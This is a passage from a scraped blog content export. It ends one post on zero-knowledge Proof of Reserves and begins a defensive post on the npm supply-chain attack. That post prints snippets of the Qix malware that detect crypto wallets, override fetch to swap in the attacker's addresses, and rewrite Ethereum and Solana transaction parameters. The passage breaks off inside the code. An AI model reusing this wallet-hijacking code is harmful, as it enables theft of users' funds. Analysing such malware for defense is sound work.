zero-knowledge proofs, platforms can achieve this transparency without exposing sensitive user data, effectively proving total liabilities and ensuring non-negativity while preserving privacy. Our system further refines this process, boosting efficiency and eliminating the need for manual verification.",{"type":24,"tag":25,"props":99040,"children":99041},{},[99042,99044,99050],{"type":29,"value":99043},"We are currently working with Backpack to implement this algorithm ",{"type":24,"tag":69,"props":99045,"children":99047},{"href":98859,"rel":99046},[73],[99048],{"type":29,"value":99049},"in production",{"type":29,"value":99051}," to generate and verify proofs every 24 hours. This marks a significant advancement toward establishing a real-time Proof of Reserves system, particularly given that it offers increased transparency, which is a step forward in reducing the need for external audit companies, as users will be able to verify everything themselves.",{"type":24,"tag":25,"props":99053,"children":99054},{},[99055,99057,99064],{"type":29,"value":99056},"For more information about how Backpack Exchange implements Proof of Reserves in practice, you can read their detailed article: ",{"type":24,"tag":69,"props":99058,"children":99061},{"href":99059,"rel":99060},"https://learn.backpack.exchange/articles/proof-of-reserves-at-backpack",[73],[99062],{"type":29,"value":99063},"Proof of Reserves at Backpack Exchange: Real Transparency, ZK Verified",{"type":29,"value":226},{"title":7,"searchDepth":200,"depth":200,"links":99066},[99067,99068,99069,99070,99073,99078,99082,99083,99087],{"id":94316,"depth":200,"text":94319},{"id":94397,"depth":200,"text":94400},{"id":94467,"depth":200,"text":94470},{"id":94521,"depth":200,"text":94524,"children":99071},[99072],{"id":94600,"depth":239,"text":94603},{"id":94688,"depth":200,"text":94691,"children":99074},[99075,99076,99077],{"id":94761,"depth":239,"text":94764},{"id":95233,"depth":239,"text":95236},{"id":96972,"depth":239,"text":96975},{"id":98551,"depth":200,"text":98554,"children":99079},[99080,99081],{"id":11655,"depth":239,"text":98559},{"id":98613,"depth":239,"text":98616},{"id":98743,"depth":200,"text":98746},{"id":98874,"depth":200,"text":98877,"children":99084},[99085,99086],{"id":98885,"depth":239,"text":98888},{"id":98953,"depth":239,"text":98956},{"id":30743,"depth":200,"text":20741},"content:blog:2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds",{"_path":99092,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":99093,"description":99094,"date":99095,"author":33013,"image":99096,"isFeatured":16,"onBlogPage":16,"tags":99099,"body":99102,"_type":5270,"_id":101528,"_source":5272,"_file":101529,"_stem":101530,"_extension":5275},"/blog/2025-09-13-how-to-survive-supply-chain-attacks","How to Survive Supply-Chain Attacks","The recent supply-chain attack on NPM showed how easily trusted dependencies can become delivery vectors for malware. Learn how the attack worked and practical defenses developers can implement to stay safe.","2025-09-13T12:00:00.000Z",{"src":99097,"width":99098,"height":14},"/posts/supply-chain-attcks/title.png",1536,[99100,99101],"npm","supply-chain",{"type":21,"children":99103,"toc":101511},[99104,99117,99122,99127,99133,99138,99146,99476,99484,100047,100055,100762,100768,100773,100779,100784,100789,100795,100800,100812,100817,100843,100930,100942,100967,100983,100988,100993,101199,101241,101246,101258,101264,101276,101318,101331,101411,101423,101436,101443,101454,101462,101468,101481,101486,101490,101495,101507],{"type":24,"tag":25,"props":99105,"children":99106},{},[99107,99109,99115],{"type":29,"value":99108},"The recent supply-chain attack on NPM sent shockwaves through the developer community and served as a stark reminder of the risks lurking within our dependencies. Malicious versions of widely used packages, including ",{"type":24,"tag":32,"props":99110,"children":99112},{"className":99111},[],[99113],{"type":29,"value":99114},"chalk",{"type":29,"value":99116},", were published containing sophisticated malware designed to steal cryptocurrency.",{"type":24,"tag":25,"props":99118,"children":99119},{},[99120],{"type":29,"value":99121},"This attack highlights a fundamental vulnerability in the open-source ecosystem: any package you install gets the same permissions as your own code, giving it a free pass to important resources such as cookies and the network stack.",{"type":24,"tag":25,"props":99123,"children":99124},{},[99125],{"type":29,"value":99126},"In this post, we'll break down how the malware worked and outline practical defenses developers can use, including Lavamoat, a tool already adopted by leaders in the web3 ecosystem.",{"type":24,"tag":850,"props":99128,"children":99130},{"id":99129},"qix-malware-how-it-worked",[99131],{"type":29,"value":99132},"Qix Malware: How It Worked",{"type":24,"tag":25,"props":99134,"children":99135},{},[99136],{"type":29,"value":99137},"The attacker published modified versions of packages with code designed to do three things:",{"type":24,"tag":3100,"props":99139,"children":99140},{},[99141],{"type":24,"tag":3104,"props":99142,"children":99143},{},[99144],{"type":29,"value":99145},"Detect crypto wallets: The malware checked for Ethereum wallets like MetaMask.",{"type":24,"tag":80,"props":99147,"children":99149},{"code":99148,"language":33178,"meta":7,"className":33176,"style":7},"async function checkethereumw() {\n try {\n const _0x124ed3 = await window.ethereum.request({\n 'method': \"eth_accounts\"\n });\n if (_0x124ed3.length > 0) {\n runmask();\n if (rund != 1) {\n rund = 1;\n neth = 1;\n newdlocal();\n }\n } else if (rund != 1) {\n rund = 1;\n newdlocal();\n }\n }\n}\n",[99150],{"type":24,"tag":32,"props":99151,"children":99152},{"__ignoreMap":7},[99153,99173,99185,99229,99246,99253,99289,99301,99329,99349,99369,99381,99388,99423,99443,99455,99462,99469],{"type":24,"tag":90,"props":99154,"children":99155},{"class":92,"line":93},[99156,99160,99164,99169],{"type":24,"tag":90,"props":99157,"children":99158},{"style":97},[99159],{"type":29,"value":37961},{"type":24,"tag":90,"props":99161,"children":99162},{"style":97},[99163],{"type":29,"value":40030},{"type":24,"tag":90,"props":99165,"children":99166},{"style":108},[99167],{"type":29,"value":99168}," checkethereumw",{"type":24,"tag":90,"props":99170,"children":99171},{"style":114},[99172],{"type":29,"value":2245},{"type":24,"tag":90,"props":99174,"children":99175},{"class":92,"line":200},[99176,99181],{"type":24,"tag":90,"props":99177,"children":99178},{"style":636},[99179],{"type":29,"value":99180}," try",{"type":24,"tag":90,"props":99182,"children":99183},{"style":114},[99184],{"type":29,"value":269},{"type":24,"tag":90,"props":99186,"children":99187},{"class":92,"line":239},[99188,99192,99197,99201,99205,99209,99213,99217,99221,99225],{"type":24,"tag":90,"props":99189,"children":99190},{"style":97},[99191],{"type":29,"value":53492},{"type":24,"tag":90,"props":99193,"children":99194},{"style":136},[99195],{"type":29,"value":99196}," _0x124ed3",{"type":24,"tag":90,"props":99198,"children":99199},{"style":120},[99200],{"type":29,"value":216},{"type":24,"tag":90,"props":99202,"children":99203},{"style":636},[99204],{"type":29,"value":38027},{"type":24,"tag":90,"props":99206,"children":99207},{"style":136},[99208],{"type":29,"value":33221},{"type":24,"tag":90,"props":99210,"children":99211},{"style":114},[99212],{"type":29,"value":226},{"type":24,"tag":90,"props":99214,"children":99215},{"style":136},[99216],{"type":29,"value":33230},{"type":24,"tag":90,"props":99218,"children":99219},{"style":114},[99220],{"type":29,"value":226},{"type":24,"tag":90,"props":99222,"children":99223},{"style":108},[99224],{"type":29,"value":33306},{"type":24,"tag":90,"props":99226,"children":99227},{"style":114},[99228],{"type":29,"value":1640},{"type":24,"tag":90,"props":99230,"children":99231},{"class":92,"line":248},[99232,99237,99241],{"type":24,"tag":90,"props":99233,"children":99234},{"style":1085},[99235],{"type":29,"value":99236}," 'method'",{"type":24,"tag":90,"props":99238,"children":99239},{"style":136},[99240],{"type":29,"value":78},{"type":24,"tag":90,"props":99242,"children":99243},{"style":1085},[99244],{"type":29,"value":99245}," \"eth_accounts\"\n",{"type":24,"tag":90,"props":99247,"children":99248},{"class":92,"line":258},[99249],{"type":24,"tag":90,"props":99250,"children":99251},{"style":114},[99252],{"type":29,"value":34070},{"type":24,"tag":90,"props":99254,"children":99255},{"class":92,"line":272},[99256,99260,99264,99269,99273,99277,99281,99285],{"type":24,"tag":90,"props":99257,"children":99258},{"style":636},[99259],{"type":29,"value":639},{"type":24,"tag":90,"props":99261,"children":99262},{"style":114},[99263],{"type":29,"value":1151},{"type":24,"tag":90,"props":99265,"children":99266},{"style":136},[99267],{"type":29,"value":99268},"_0x124ed3",{"type":24,"tag":90,"props":99270,"children":99271},{"style":114},[99272],{"type":29,"value":226},{"type":24,"tag":90,"props":99274,"children":99275},{"style":136},[99276],{"type":29,"value":10879},{"type":24,"tag":90,"props":99278,"children":99279},{"style":120},[99280],{"type":29,"value":658},{"type":24,"tag":90,"props":99282,"children":99283},{"style":349},[99284],{"type":29,"value":5448},{"type":24,"tag":90,"props":99286,"children":99287},{"style":114},[99288],{"type":29,"value":1297},{"type":24,"tag":90,"props":99290,"children":99291},{"class":92,"line":281},[99292,99297],{"type":24,"tag":90,"props":99293,"children":99294},{"style":108},[99295],{"type":29,"value":99296}," runmask",{"type":24,"tag":90,"props":99298,"children":99299},{"style":114},[99300],{"type":29,"value":236},{"type":24,"tag":90,"props":99302,"children":99303},{"class":92,"line":384},[99304,99308,99312,99317,99321,99325],{"type":24,"tag":90,"props":99305,"children":99306},{"style":636},[99307],{"type":29,"value":41103},{"type":24,"tag":90,"props":99309,"children":99310},{"style":114},[99311],{"type":29,"value":1151},{"type":24,"tag":90,"props":99313,"children":99314},{"style":136},[99315],{"type":29,"value":99316},"rund",{"type":24,"tag":90,"props":99318,"children":99319},{"style":120},[99320],{"type":29,"value":66213},{"type":24,"tag":90,"props":99322,"children":99323},{"style":349},[99324],{"type":29,"value":6909},{"type":24,"tag":90,"props":99326,"children":99327},{"style":114},[99328],{"type":29,"value":1297},{"type":24,"tag":90,"props":99330,"children":99331},{"class":92,"line":420},[99332,99337,99341,99345],{"type":24,"tag":90,"props":99333,"children":99334},{"style":136},[99335],{"type":29,"value":99336}," rund",{"type":24,"tag":90,"props":99338,"children":99339},{"style":120},[99340],{"type":29,"value":216},{"type":24,"tag":90,"props":99342,"children":99343},{"style":349},[99344],{"type":29,"value":6909},{"type":24,"tag":90,"props":99346,"children":99347},{"style":114},[99348],{"type":29,"value":381},{"type":24,"tag":90,"props":99350,"children":99351},{"class":92,"line":428},[99352,99357,99361,99365],{"type":24,"tag":90,"props":99353,"children":99354},{"style":136},[99355],{"type":29,"value":99356}," neth",{"type":24,"tag":90,"props":99358,"children":99359},{"style":120},[99360],{"type":29,"value":216},{"type":24,"tag":90,"props":99362,"children":99363},{"style":349},[99364],{"type":29,"value":6909},{"type":24,"tag":90,"props":99366,"children":99367},{"style":114},[99368],{"type":29,"value":381},{"type":24,"tag":90,"props":99370,"children":99371},{"class":92,"line":437},[99372,99377],{"type":24,"tag":90,"props":99373,"children":99374},{"style":108},[99375],{"type":29,"value":99376}," newdlocal",{"type":24,"tag":90,"props":99378,"children":99379},{"style":114},[99380],{"type":29,"value":236},{"type":24,"tag":90,"props":99382,"children":99383},{"class":92,"line":574},[99384],{"type":24,"tag":90,"props":99385,"children":99386},{"style":114},[99387],{"type":29,"value":15030},{"type":24,"tag":90,"props":99389,"children":99390},{"class":92,"line":606},[99391,99395,99399,99403,99407,99411,99415,99419],{"type":24,"tag":90,"props":99392,"children":99393},{"style":114},[99394],{"type":29,"value":2288},{"type":24,"tag":90,"props":99396,"children":99397},{"style":636},[99398],{"type":29,"value":2293},{"type":24,"tag":90,"props":99400,"children":99401},{"style":636},[99402],{"type":29,"value":2298},{"type":24,"tag":90,"props":99404,"children":99405},{"style":114},[99406],{"type":29,"value":1151},{"type":24,"tag":90,"props":99408,"children":99409},{"style":136},[99410],{"type":29,"value":99316},{"type":24,"tag":90,"props":99412,"children":99413},{"style":120},[99414],{"type":29,"value":66213},{"type":24,"tag":90,"props":99416,"children":99417},{"style":349},[99418],{"type":29,"value":6909},{"type":24,"tag":90,"props":99420,"children":99421},{"style":114},[99422],{"type":29,"value":1297},{"type":24,"tag":90,"props":99424,"children":99425},{"class":92,"line":615},[99426,99431,99435,99439],{"type":24,"tag":90,"props":99427,"children":99428},{"style":136},[99429],{"type":29,"value":99430}," rund",{"type":24,"tag":90,"props":99432,"children":99433},{"style":120},[99434],{"type":29,"value":216},{"type":24,"tag":90,"props":99436,"children":99437},{"style":349},[99438],{"type":29,"value":6909},{"type":24,"tag":90,"props":99440,"children":99441},{"style":114},[99442],{"type":29,"value":381},{"type":24,"tag":90,"props":99444,"children":99445},{"class":92,"line":623},[99446,99451],{"type":24,"tag":90,"props":99447,"children":99448},{"style":108},[99449],{"type":29,"value":99450}," newdlocal",{"type":24,"tag":90,"props":99452,"children":99453},{"style":114},[99454],{"type":29,"value":236},{"type":24,"tag":90,"props":99456,"children":99457},{"class":92,"line":632},[99458],{"type":24,"tag":90,"props":99459,"children":99460},{"style":114},[99461],{"type":29,"value":612},{"type":24,"tag":90,"props":99463,"children":99464},{"class":92,"line":669},[99465],{"type":24,"tag":90,"props":99466,"children":99467},{"style":114},[99468],{"type":29,"value":8257},{"type":24,"tag":90,"props":99470,"children":99471},{"class":92,"line":683},[99472],{"type":24,"tag":90,"props":99473,"children":99474},{"style":114},[99475],{"type":29,"value":827},{"type":24,"tag":3100,"props":99477,"children":99478},{"start":200},[99479],{"type":24,"tag":3104,"props":99480,"children":99481},{},[99482],{"type":29,"value":99483},"Intercept HTTP requests/responses and replace blockchain addresses with the attacker's wallet: (modified code for better understanding)",{"type":24,"tag":80,"props":99485,"children":99487},{"code":99486,"language":33178,"meta":7,"className":33176,"style":7},"fetch = async function (...args) {\n const originalResponse = await originalFetch.call(this, ...args);\n const contentType = originalResponse.headers.get('Content-Type') || '';\n let data;\n if (contentType.includes('application/json')) {\n data = await originalResponse.clone().json();\n } else {\n data = await originalResponse.clone().text();\n }\n const processedData = replaceAddresses(data);\n const finalResponseText =\n typeof processedData === 'string' ? processedData : JSON.stringify(processedData);\n const finalResponse = new Response(finalResponseText, {\n status: originalResponse.status,\n statusText: originalResponse.statusText,\n headers: originalResponse.headers,\n });\n return finalResponse;\n};\n",[99488],{"type":24,"tag":32,"props":99489,"children":99490},{"__ignoreMap":7},[99491,99526,99583,99645,99660,99697,99736,99751,99790,99797,99830,99846,99905,99943,99968,99993,100017,100025,100040],{"type":24,"tag":90,"props":99492,"children":99493},{"class":92,"line":93},[99494,99498,99502,99506,99510,99514,99518,99522],{"type":24,"tag":90,"props":99495,"children":99496},{"style":108},[99497],{"type":29,"value":35909},{"type":24,"tag":90,"props":99499,"children":99500},{"style":120},[99501],{"type":29,"value":216},{"type":24,"tag":90,"props":99503,"children":99504},{"style":97},[99505],{"type":29,"value":38181},{"type":24,"tag":90,"props":99507,"children":99508},{"style":97},[99509],{"type":29,"value":40030},{"type":24,"tag":90,"props":99511,"children":99512},{"style":114},[99513],{"type":29,"value":1151},{"type":24,"tag":90,"props":99515,"children":99516},{"style":120},[99517],{"type":29,"value":3013},{"type":24,"tag":90,"props":99519,"children":99520},{"style":136},[99521],{"type":29,"value":40044},{"type":24,"tag":90,"props":99523,"children":99524},{"style":114},[99525],{"type":29,"value":1297},{"type":24,"tag":90,"props":99527,"children":99528},{"class":92,"line":200},[99529,99533,99538,99542,99546,99551,99555,99559,99563,99567,99571,99575,99579],{"type":24,"tag":90,"props":99530,"children":99531},{"style":97},[99532],{"type":29,"value":38004},{"type":24,"tag":90,"props":99534,"children":99535},{"style":136},[99536],{"type":29,"value":99537}," originalResponse",{"type":24,"tag":90,"props":99539,"children":99540},{"style":120},[99541],{"type":29,"value":216},{"type":24,"tag":90,"props":99543,"children":99544},{"style":636},[99545],{"type":29,"value":38027},{"type":24,"tag":90,"props":99547,"children":99548},{"style":136},[99549],{"type":29,"value":99550}," originalFetch",{"type":24,"tag":90,"props":99552,"children":99553},{"style":114},[99554],{"type":29,"value":226},{"type":24,"tag":90,"props":99556,"children":99557},{"style":108},[99558],{"type":29,"value":40112},{"type":24,"tag":90,"props":99560,"children":99561},{"style":114},[99562],{"type":29,"value":117},{"type":24,"tag":90,"props":99564,"children":99565},{"style":97},[99566],{"type":29,"value":4216},{"type":24,"tag":90,"props":99568,"children":99569},{"style":114},[99570],{"type":29,"value":133},{"type":24,"tag":90,"props":99572,"children":99573},{"style":120},[99574],{"type":29,"value":3013},{"type":24,"tag":90,"props":99576,"children":99577},{"style":136},[99578],{"type":29,"value":40044},{"type":24,"tag":90,"props":99580,"children":99581},{"style":114},[99582],{"type":29,"value":571},{"type":24,"tag":90,"props":99584,"children":99585},{"class":92,"line":239},[99586,99590,99595,99599,99603,99607,99612,99616,99620,99624,99629,99633,99637,99641],{"type":24,"tag":90,"props":99587,"children":99588},{"style":97},[99589],{"type":29,"value":38004},{"type":24,"tag":90,"props":99591,"children":99592},{"style":136},[99593],{"type":29,"value":99594}," contentType",{"type":24,"tag":90,"props":99596,"children":99597},{"style":120},[99598],{"type":29,"value":216},{"type":24,"tag":90,"props":99600,"children":99601},{"style":136},[99602],{"type":29,"value":99537},{"type":24,"tag":90,"props":99604,"children":99605},{"style":114},[99606],{"type":29,"value":226},{"type":24,"tag":90,"props":99608,"children":99609},{"style":136},[99610],{"type":29,"value":99611},"headers",{"type":24,"tag":90,"props":99613,"children":99614},{"style":114},[99615],{"type":29,"value":226},{"type":24,"tag":90,"props":99617,"children":99618},{"style":108},[99619],{"type":29,"value":2862},{"type":24,"tag":90,"props":99621,"children":99622},{"style":114},[99623],{"type":29,"value":117},{"type":24,"tag":90,"props":99625,"children":99626},{"style":1085},[99627],{"type":29,"value":99628},"'Content-Type'",{"type":24,"tag":90,"props":99630,"children":99631},{"style":114},[99632],{"type":29,"value":172},{"type":24,"tag":90,"props":99634,"children":99635},{"style":120},[99636],{"type":29,"value":24215},{"type":24,"tag":90,"props":99638,"children":99639},{"style":1085},[99640],{"type":29,"value":33652},{"type":24,"tag":90,"props":99642,"children":99643},{"style":114},[99644],{"type":29,"value":381},{"type":24,"tag":90,"props":99646,"children":99647},{"class":92,"line":248},[99648,99652,99656],{"type":24,"tag":90,"props":99649,"children":99650},{"style":97},[99651],{"type":29,"value":10233},{"type":24,"tag":90,"props":99653,"children":99654},{"style":136},[99655],{"type":29,"value":1604},{"type":24,"tag":90,"props":99657,"children":99658},{"style":114},[99659],{"type":29,"value":381},{"type":24,"tag":90,"props":99661,"children":99662},{"class":92,"line":258},[99663,99667,99671,99676,99680,99684,99688,99693],{"type":24,"tag":90,"props":99664,"children":99665},{"style":636},[99666],{"type":29,"value":33207},{"type":24,"tag":90,"props":99668,"children":99669},{"style":114},[99670],{"type":29,"value":1151},{"type":24,"tag":90,"props":99672,"children":99673},{"style":136},[99674],{"type":29,"value":99675},"contentType",{"type":24,"tag":90,"props":99677,"children":99678},{"style":114},[99679],{"type":29,"value":226},{"type":24,"tag":90,"props":99681,"children":99682},{"style":108},[99683],{"type":29,"value":36996},{"type":24,"tag":90,"props":99685,"children":99686},{"style":114},[99687],{"type":29,"value":117},{"type":24,"tag":90,"props":99689,"children":99690},{"style":1085},[99691],{"type":29,"value":99692},"'application/json'",{"type":24,"tag":90,"props":99694,"children":99695},{"style":114},[99696],{"type":29,"value":37009},{"type":24,"tag":90,"props":99698,"children":99699},{"class":92,"line":272},[99700,99704,99708,99712,99716,99720,99724,99728,99732],{"type":24,"tag":90,"props":99701,"children":99702},{"style":136},[99703],{"type":29,"value":45050},{"type":24,"tag":90,"props":99705,"children":99706},{"style":120},[99707],{"type":29,"value":216},{"type":24,"tag":90,"props":99709,"children":99710},{"style":636},[99711],{"type":29,"value":38027},{"type":24,"tag":90,"props":99713,"children":99714},{"style":136},[99715],{"type":29,"value":99537},{"type":24,"tag":90,"props":99717,"children":99718},{"style":114},[99719],{"type":29,"value":226},{"type":24,"tag":90,"props":99721,"children":99722},{"style":108},[99723],{"type":29,"value":1923},{"type":24,"tag":90,"props":99725,"children":99726},{"style":114},[99727],{"type":29,"value":31980},{"type":24,"tag":90,"props":99729,"children":99730},{"style":108},[99731],{"type":29,"value":35812},{"type":24,"tag":90,"props":99733,"children":99734},{"style":114},[99735],{"type":29,"value":236},{"type":24,"tag":90,"props":99737,"children":99738},{"class":92,"line":281},[99739,99743,99747],{"type":24,"tag":90,"props":99740,"children":99741},{"style":114},[99742],{"type":29,"value":33281},{"type":24,"tag":90,"props":99744,"children":99745},{"style":636},[99746],{"type":29,"value":2293},{"type":24,"tag":90,"props":99748,"children":99749},{"style":114},[99750],{"type":29,"value":269},{"type":24,"tag":90,"props":99752,"children":99753},{"class":92,"line":384},[99754,99758,99762,99766,99770,99774,99778,99782,99786],{"type":24,"tag":90,"props":99755,"children":99756},{"style":136},[99757],{"type":29,"value":45050},{"type":24,"tag":90,"props":99759,"children":99760},{"style":120},[99761],{"type":29,"value":216},{"type":24,"tag":90,"props":99763,"children":99764},{"style":636},[99765],{"type":29,"value":38027},{"type":24,"tag":90,"props":99767,"children":99768},{"style":136},[99769],{"type":29,"value":99537},{"type":24,"tag":90,"props":99771,"children":99772},{"style":114},[99773],{"type":29,"value":226},{"type":24,"tag":90,"props":99775,"children":99776},{"style":108},[99777],{"type":29,"value":1923},{"type":24,"tag":90,"props":99779,"children":99780},{"style":114},[99781],{"type":29,"value":31980},{"type":24,"tag":90,"props":99783,"children":99784},{"style":108},[99785],{"type":29,"value":29},{"type":24,"tag":90,"props":99787,"children":99788},{"style":114},[99789],{"type":29,"value":236},{"type":24,"tag":90,"props":99791,"children":99792},{"class":92,"line":420},[99793],{"type":24,"tag":90,"props":99794,"children":99795},{"style":114},[99796],{"type":29,"value":8257},{"type":24,"tag":90,"props":99798,"children":99799},{"class":92,"line":428},[99800,99804,99809,99813,99818,99822,99826],{"type":24,"tag":90,"props":99801,"children":99802},{"style":97},[99803],{"type":29,"value":38004},{"type":24,"tag":90,"props":99805,"children":99806},{"style":136},[99807],{"type":29,"value":99808}," processedData",{"type":24,"tag":90,"props":99810,"children":99811},{"style":120},[99812],{"type":29,"value":216},{"type":24,"tag":90,"props":99814,"children":99815},{"style":108},[99816],{"type":29,"value":99817}," replaceAddresses",{"type":24,"tag":90,"props":99819,"children":99820},{"style":114},[99821],{"type":29,"value":117},{"type":24,"tag":90,"props":99823,"children":99824},{"style":136},[99825],{"type":29,"value":481},{"type":24,"tag":90,"props":99827,"children":99828},{"style":114},[99829],{"type":29,"value":571},{"type":24,"tag":90,"props":99831,"children":99832},{"class":92,"line":437},[99833,99837,99842],{"type":24,"tag":90,"props":99834,"children":99835},{"style":97},[99836],{"type":29,"value":38004},{"type":24,"tag":90,"props":99838,"children":99839},{"style":136},[99840],{"type":29,"value":99841}," finalResponseText",{"type":24,"tag":90,"props":99843,"children":99844},{"style":120},[99845],{"type":29,"value":37671},{"type":24,"tag":90,"props":99847,"children":99848},{"class":92,"line":574},[99849,99854,99858,99862,99867,99872,99876,99880,99884,99888,99892,99896,99901],{"type":24,"tag":90,"props":99850,"children":99851},{"style":97},[99852],{"type":29,"value":99853}," typeof",{"type":24,"tag":90,"props":99855,"children":99856},{"style":136},[99857],{"type":29,"value":99808},{"type":24,"tag":90,"props":99859,"children":99860},{"style":120},[99861],{"type":29,"value":33235},{"type":24,"tag":90,"props":99863,"children":99864},{"style":1085},[99865],{"type":29,"value":99866}," 'string'",{"type":24,"tag":90,"props":99868,"children":99869},{"style":120},[99870],{"type":29,"value":99871}," ?",{"type":24,"tag":90,"props":99873,"children":99874},{"style":136},[99875],{"type":29,"value":99808},{"type":24,"tag":90,"props":99877,"children":99878},{"style":120},[99879],{"type":29,"value":36931},{"type":24,"tag":90,"props":99881,"children":99882},{"style":136},[99883],{"type":29,"value":39344},{"type":24,"tag":90,"props":99885,"children":99886},{"style":114},[99887],{"type":29,"value":226},{"type":24,"tag":90,"props":99889,"children":99890},{"style":108},[99891],{"type":29,"value":41049},{"type":24,"tag":90,"props":99893,"children":99894},{"style":114},[99895],{"type":29,"value":117},{"type":24,"tag":90,"props":99897,"children":99898},{"style":136},[99899],{"type":29,"value":99900},"processedData",{"type":24,"tag":90,"props":99902,"children":99903},{"style":114},[99904],{"type":29,"value":571},{"type":24,"tag":90,"props":99906,"children":99907},{"class":92,"line":606},[99908,99912,99917,99921,99925,99930,99934,99939],{"type":24,"tag":90,"props":99909,"children":99910},{"style":97},[99911],{"type":29,"value":38004},{"type":24,"tag":90,"props":99913,"children":99914},{"style":136},[99915],{"type":29,"value":99916}," finalResponse",{"type":24,"tag":90,"props":99918,"children":99919},{"style":120},[99920],{"type":29,"value":216},{"type":24,"tag":90,"props":99922,"children":99923},{"style":97},[99924],{"type":29,"value":33746},{"type":24,"tag":90,"props":99926,"children":99927},{"style":108},[99928],{"type":29,"value":99929}," Response",{"type":24,"tag":90,"props":99931,"children":99932},{"style":114},[99933],{"type":29,"value":117},{"type":24,"tag":90,"props":99935,"children":99936},{"style":136},[99937],{"type":29,"value":99938},"finalResponseText",{"type":24,"tag":90,"props":99940,"children":99941},{"style":114},[99942],{"type":29,"value":50705},{"type":24,"tag":90,"props":99944,"children":99945},{"class":92,"line":615},[99946,99951,99955,99959,99964],{"type":24,"tag":90,"props":99947,"children":99948},{"style":136},[99949],{"type":29,"value":99950}," status:",{"type":24,"tag":90,"props":99952,"children":99953},{"style":136},[99954],{"type":29,"value":99537},{"type":24,"tag":90,"props":99956,"children":99957},{"style":114},[99958],{"type":29,"value":226},{"type":24,"tag":90,"props":99960,"children":99961},{"style":136},[99962],{"type":29,"value":99963},"status",{"type":24,"tag":90,"props":99965,"children":99966},{"style":114},[99967],{"type":29,"value":748},{"type":24,"tag":90,"props":99969,"children":99970},{"class":92,"line":623},[99971,99976,99980,99984,99989],{"type":24,"tag":90,"props":99972,"children":99973},{"style":136},[99974],{"type":29,"value":99975}," statusText:",{"type":24,"tag":90,"props":99977,"children":99978},{"style":136},[99979],{"type":29,"value":99537},{"type":24,"tag":90,"props":99981,"children":99982},{"style":114},[99983],{"type":29,"value":226},{"type":24,"tag":90,"props":99985,"children":99986},{"style":136},[99987],{"type":29,"value":99988},"statusText",{"type":24,"tag":90,"props":99990,"children":99991},{"style":114},[99992],{"type":29,"value":748},{"type":24,"tag":90,"props":99994,"children":99995},{"class":92,"line":632},[99996,100001,100005,100009,100013],{"type":24,"tag":90,"props":99997,"children":99998},{"style":136},[99999],{"type":29,"value":100000}," headers:",{"type":24,"tag":90,"props":100002,"children":100003},{"style":136},[100004],{"type":29,"value":99537},{"type":24,"tag":90,"props":100006,"children":100007},{"style":114},[100008],{"type":29,"value":226},{"type":24,"tag":90,"props":100010,"children":100011},{"style":136},[100012],{"type":29,"value":99611},{"type":24,"tag":90,"props":100014,"children":100015},{"style":114},[100016],{"type":29,"value":748},{"type":24,"tag":90,"props":100018,"children":100019},{"class":92,"line":669},[100020],{"type":24,"tag":90,"props":100021,"children":100022},{"style":114},[100023],{"type":29,"value":100024}," });\n",{"type":24,"tag":90,"props":100026,"children":100027},{"class":92,"line":683},[100028,100032,100036],{"type":24,"tag":90,"props":100029,"children":100030},{"style":636},[100031],{"type":29,"value":41015},{"type":24,"tag":90,"props":100033,"children":100034},{"style":136},[100035],{"type":29,"value":99916},{"type":24,"tag":90,"props":100037,"children":100038},{"style":114},[100039],{"type":29,"value":381},{"type":24,"tag":90,"props":100041,"children":100042},{"class":92,"line":737},[100043],{"type":24,"tag":90,"props":100044,"children":100045},{"style":114},[100046],{"type":29,"value":3093},{"type":24,"tag":3100,"props":100048,"children":100049},{"start":239},[100050],{"type":24,"tag":3104,"props":100051,"children":100052},{},[100053],{"type":29,"value":100054},"The malware intercepted wallet requests and silently replaced the receiver address with the attacker address. Instead of a blunt substitution, it used the Levenshtein distance algorithm to pick a lookalike address, which made it harder for victims to notice funds being siphoned.",{"type":24,"tag":80,"props":100056,"children":100058},{"code":100057,"language":33178,"meta":7,"className":33176,"style":7},"if (_0x2c3d7e.method === 'eth_sendTransaction' && _0x2c3d7e.params && _0x2c3d7e.params[0]) {\n try {\n const _0x39ad21 = _0x1089ae(_0x2c3d7e.params[0], true);\n _0x2c3d7e.params[0] = _0x39ad21;\n } catch (_0x226343) {}\n} else {\n if (\n (_0x2c3d7e.method === 'solana_signTransaction' ||\n _0x2c3d7e.method === 'solana_signAndSendTransaction') &&\n _0x2c3d7e.params &&\n _0x2c3d7e.params[0]\n ) {\n try {\n let _0x5ad975 = _0x2c3d7e.params[0];\n if (_0x5ad975.transaction) {\n _0x5ad975 = _0x5ad975.transaction;\n }\n const _0x5dbe63 = _0x1089ae(_0x5ad975, false);\n if (_0x2c3d7e.params[0].transaction) {\n _0x2c3d7e.params[0].transaction = _0x5dbe63;\n } else {\n _0x2c3d7e.params[0] = _0x5dbe63;\n }\n } catch (_0x4b99fd) {}\n }\n}\n",[100059],{"type":24,"tag":32,"props":100060,"children":100061},{"__ignoreMap":7},[100062,100141,100152,100209,100249,100274,100289,100300,100334,100367,100386,100413,100421,100432,100472,100501,100529,100536,100576,100619,100663,100678,100717,100724,100748,100755],{"type":24,"tag":90,"props":100063,"children":100064},{"class":92,"line":93},[100065,100069,100073,100078,100082,100086,100090,100095,100099,100104,100108,100113,100117,100121,100125,100129,100133,100137],{"type":24,"tag":90,"props":100066,"children":100067},{"style":636},[100068],{"type":29,"value":2084},{"type":24,"tag":90,"props":100070,"children":100071},{"style":114},[100072],{"type":29,"value":1151},{"type":24,"tag":90,"props":100074,"children":100075},{"style":136},[100076],{"type":29,"value":100077},"_0x2c3d7e",{"type":24,"tag":90,"props":100079,"children":100080},{"style":114},[100081],{"type":29,"value":226},{"type":24,"tag":90,"props":100083,"children":100084},{"style":136},[100085],{"type":29,"value":40129},{"type":24,"tag":90,"props":100087,"children":100088},{"style":120},[100089],{"type":29,"value":33235},{"type":24,"tag":90,"props":100091,"children":100092},{"style":1085},[100093],{"type":29,"value":100094}," 'eth_sendTransaction'",{"type":24,"tag":90,"props":100096,"children":100097},{"style":120},[100098],{"type":29,"value":649},{"type":24,"tag":90,"props":100100,"children":100101},{"style":136},[100102],{"type":29,"value":100103}," 